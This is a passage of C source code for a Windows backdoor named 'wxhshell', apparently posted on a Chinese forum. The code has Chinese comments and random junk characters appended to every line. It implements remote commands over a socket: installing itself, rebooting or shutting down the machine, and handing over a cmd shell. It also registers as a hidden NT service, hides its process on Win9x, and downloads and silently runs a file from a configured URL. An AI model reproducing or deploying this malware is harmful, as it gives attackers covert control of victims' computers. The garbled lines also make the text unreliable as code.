  case '?': { \PFjw9s  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); YfMs~}h,  
    break; .u=|h3&  
  } :#{0yno)H  
  // 安装 `2^(Ss# )  
  case 'i': { yF_/.mI  
    if(Install()) &&m1_K  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); AxF$7J(  
    else !R#PJH/TM  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); h(3-/4  
    break; ]scr@e  
    } opu)9]`z  
  // 卸载 J4z&J SY  
  case 'r': { ,^ dpn  
    if(Uninstall()) %qqeL   
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Lxv_{~I*  
    else %K06owV(S)  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); wuXH'  
    break; L|1~'Fz#w  
    } \%%M>4c  
  // 显示 wxhshell 所在路径 /TIt-c  
  case 'p': { Z:V<P,N  
    char svExeFile[MAX_PATH]; +qqCk  
    strcpy(svExeFile,"\n\r"); a1[J>  
      strcat(svExeFile,ExeFile); r>PKl'IbE  
        send(wsh,svExeFile,strlen(svExeFile),0); T!pZj_ h=  
    break; SJi;_bVf  
    } BO6XY90(  
  // 重启 bki:u  
  case 'b': { kho0@o+'^  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); /OMgj7olD  
    if(Boot(REBOOT)) $BB^xJ\O  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); olXfR-2>1  
    else { *"6A>:rQs  
    closesocket(wsh); J~ +p7S  
    ExitThread(0); &_j<! 3*  
    } se}$/Y}t  
    break; 3O _O5  
    } ]gF=I5jn]  
  // 关机 }g|9P SbJ  
  case 'd': { 'P4V_VMK  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); EaH/Gg3  
    if(Boot(SHUTDOWN)) :Dtm+EQ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); +bb-uoZf  
    else { =*>.z@WQ  
    closesocket(wsh); f}ch1u>  
    ExitThread(0); rg 0u#-  
    } ,:V[H8 ?  
    break; M9(lxu y1  
    } iU=:YPE+ .  
  // 获取shell i1]}Q$  
  case 's': { +#A~O4%t  
    CmdShell(wsh); /#L4ec-'  
    closesocket(wsh); DiZv sc  
    ExitThread(0); o"A?Aq  
    break; <A`SC;k\u  
  } U9 Q[K`  
  // 退出 ^% Ln@!P  
  case 'x': { lR`.V0xA   
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); O@:R\MwFOZ  
    CloseIt(wsh); CwyE  8v  
    break; !.4q{YWcYk  
    } J%!vhQ  
  // 离开 }?O>.W,/  
  case 'q': { 1,we: rwX  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); .R@XstQ  
    closesocket(wsh); c{x:'@%/s'  
    WSACleanup(); &0d5".|s  
    exit(1); ?/~Q9My  
    break; Q#&6J=}  
        } $`lGPi(Jc  
  } KmqgP`Cu  
  } , 0?_? GO  
/L2.7`5  
  // 提示信息 6\y?+H1  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); v`@N R06  
} hxw6^EA  
  } c s:E^  
>J:liB|(  
  return; Mi}k>5VT  
} Vp1Nk#H  
-f?,%6(1  
// shell模块句柄 Le,;)Nd  
int CmdShell(SOCKET sock) TpHzf3.I  
{ ?-<>he  
STARTUPINFO si; [3x*47o"z  
ZeroMemory(&si,sizeof(si)); 5E}]U,$  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; \(zUI  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; \"Qa)1 |  
PROCESS_INFORMATION ProcessInfo; &F*eo`o}6  
char cmdline[]="cmd"; a?X@ D<.;  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); $"6Gv  
  return 0; BJp~/H`vd  
} }1.'2.<Y  
{c<cSrfI  
// 自身启动模式 $9W,1wg  
int StartFromService(void) 9j 0o)]  
{ B f.- 5  
typedef struct }z2[w@M  
{ FgR9$ is+  
  DWORD ExitStatus; AMK(-=  
  DWORD PebBaseAddress; JC/nHM  
  DWORD AffinityMask; wb39s^n  
  DWORD BasePriority; [88PCA:  
  ULONG UniqueProcessId; I`x[1%y2 F  
  ULONG InheritedFromUniqueProcessId; D&DbxTi  
}   PROCESS_BASIC_INFORMATION; J2$,'(!(  
!';;q  
PROCNTQSIP NtQueryInformationProcess; j&q%@%Gm  
|:L}/onK  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; VWk{?*Dp  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ku#WQL  
p ^)3p5w  
  HANDLE             hProcess; ~*e@^Nv)v  
  PROCESS_BASIC_INFORMATION pbi; %Vk77(  
u7},+E)+B  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); NC sem  
  if(NULL == hInst ) return 0; `(E$-m-~jH  
vX&W;&  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); .d?LRf  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); :*YnH&  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 3KtJT&RuL  
q w @g7  
  if (!NtQueryInformationProcess) return 0; VL|Z+3L  
mri g5{  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); D[Q/:_2l  
  if(!hProcess) return 0; )^ PWr^  
LG??Q+`l  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; YdN]Tqc  
KxWm63"  
  CloseHandle(hProcess); x~](d8*=  
,vAcri 97  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); D2RvFlAXu  
if(hProcess==NULL) return 0; \mWH8Z }Z  
&q#. >  
HMODULE hMod; Lb{.}  
char procName[255]; 7R5+Q\W  
unsigned long cbNeeded; TIK'A<  
)jh~jU?c@  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ?%n"{k?#  
ZH~Wn#Wp  
  CloseHandle(hProcess); {BgJ=0g?  
#aiI]'  
if(strstr(procName,"services")) return 1; // 以服务启动 o'8nQ Tao  
D  ,[yx='  
  return 0; // 注册表启动 45OAJ?N  
} T`9nY!  
kdaq_O:s  
// 主模块 Zay%QNsb  
int StartWxhshell(LPSTR lpCmdLine) Qj$w7*U  
{ 9!.S9[[N  
  SOCKET wsl; <j3|Mh_(I  
BOOL val=TRUE; /U`p|M;  
  int port=0; u'T-}95 V  
  struct sockaddr_in door; ^x_$%8  
Ejnk\8:  
  if(wscfg.ws_autoins) Install(); C~C`K%7  
:zNNtv iA  
port=atoi(lpCmdLine); wuM'M<J@  
+r&:c[  
if(port<=0) port=wscfg.ws_port; WdB\n/BWB  
JoZS p"R  
  WSADATA data; "oyBF CW  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; #%w)w R3  
wuW{ 2+)B  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   \ FJ ae  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); h@o6=d=4  
  door.sin_family = AF_INET; >(.Y%$9"E  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ^a Q&.q  
  door.sin_port = htons(port); z 4;@"B  
4C ;y2`C  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { >s1?rC  
closesocket(wsl); n{&;@mgI  
return 1; M?GkHJ%!  
} ,eWLig  
).A9>^6?{  
  if(listen(wsl,2) == INVALID_SOCKET) { e m0 hTxb  
closesocket(wsl); )lz~Rt;1i  
return 1; c((bUjS'=Y  
} \9uK^oS  
  Wxhshell(wsl); ^@{"a  
  WSACleanup(); f1;@a>X  
uGm?e]7Hx<  
return 0; .!Kqcz% A  
(E,Ibz2G:e  
} adAdX;@e`  
: @eHV=|+>  
// 以NT服务方式启动 Tku6X/LF  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) "z;R"sv\  
{ T7Y}v,+-  
DWORD   status = 0; !2^~ar{2  
  DWORD   specificError = 0xfffffff; &Yc'X+'4  
=LKM)d=1  
  serviceStatus.dwServiceType     = SERVICE_WIN32; =8%*Rrj^  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; M)nh~gU  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; xplV6q`  
  serviceStatus.dwWin32ExitCode     = 0; 1 ltW9^cF}  
  serviceStatus.dwServiceSpecificExitCode = 0; 8n-Xt7z  
  serviceStatus.dwCheckPoint       = 0; ByO?qft>u  
  serviceStatus.dwWaitHint       = 0; c!'\k,ma<9  
CC;^J-h/  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); BW}M/  
  if (hServiceStatusHandle==0) return; GZKYRPg  
}L&LtW{X  
status = GetLastError(); *?]<=IV?  
  if (status!=NO_ERROR) g_N^Y  
{ aM(#J7;  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; R/*"N'nH-%  
    serviceStatus.dwCheckPoint       = 0; I%GQ3D"=  
    serviceStatus.dwWaitHint       = 0; EtaKo}!A}  
    serviceStatus.dwWin32ExitCode     = status; f}p`<z   
    serviceStatus.dwServiceSpecificExitCode = specificError; c:&8B/  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); yU4mS;GX  
    return; R5%CK_  
  } i3Bpim.  
iyd$_CJz  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; X!mJUDzh]  
  serviceStatus.dwCheckPoint       = 0; 5]upfC6  
  serviceStatus.dwWaitHint       = 0; H(P]Z~et  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); {"%a-*@%  
} E2YVl%.  
('UTjV  
// 处理NT服务事件,比如:启动、停止 hliO/3g  
VOID WINAPI NTServiceHandler(DWORD fdwControl) DR:DXJc  
{ 19c_=$mV  
switch(fdwControl) :z&kbG  
{ -!\%##r7~  
case SERVICE_CONTROL_STOP: Tsj/alC[  
  serviceStatus.dwWin32ExitCode = 0; 8ih_S2Cd  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; qNP)oU92  
  serviceStatus.dwCheckPoint   = 0; *Egg*2P;"Q  
  serviceStatus.dwWaitHint     = 0; a:`<=^:4,  
  { WFFQxd|Z  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Wf"GA i  
  } wy tMoG\  
  return; I`rN+c:  
case SERVICE_CONTROL_PAUSE: k ,+,,W  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 6 U[VoUU   
  break; ]1Wxa?  
case SERVICE_CONTROL_CONTINUE: ~;H,cPvrEg  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; US(RWXyg  
  break; 1iLo$  
case SERVICE_CONTROL_INTERROGATE: A%HIfSzQBS  
  break; PpBptsb^|J  
}; 5N%d Les  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); l~f3J$OkJ  
} oe2*$\?.  
;-@: }/  
// 标准应用程序主函数 ")\V  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) e98QT9  
{ >yXhP6  
&*ocr&  
// 获取操作系统版本 +~aIT=i3  
OsIsNt=GetOsVer(); o5DT1>h  
GetModuleFileName(NULL,ExeFile,MAX_PATH); LQ4:SV'3  
M9BEG6E9  
  // 从命令行安装 yq k8)\p  
  if(strpbrk(lpCmdLine,"iI")) Install(); saP%T~  
: slO0  
  // 下载执行文件 [J}eNprg  
if(wscfg.ws_downexe) { 0E!-G= v  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 3~Fag1Hp  
  WinExec(wscfg.ws_filenam,SW_HIDE); x[0hY0 ?[M  
} `4'=&c9  
La9}JvQoX  
if(!OsIsNt) { ;hO6 p  
// 如果时win9x,隐藏进程并且设置为注册表启动 sL~4 ~178  
HideProc(); ^@RvCJ+  
StartWxhshell(lpCmdLine); +~iiy;i(  
} EYj~Xj8_  
else =Q<7[  
  if(StartFromService()) @W/k}<07  
  // 以服务方式启动 rC_1f3A  
  StartServiceCtrlDispatcher(DispatchTable); 5;" $X 1{  
else [>54?4{|.  
  // 普通方式启动 abUO3 Y{  
  StartWxhshell(lpCmdLine); F%o!+%&7  
(XmmbAbVom  
return 0; vVvF e~y]  
}
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只看该作者 1 发表于: 2006-10-10
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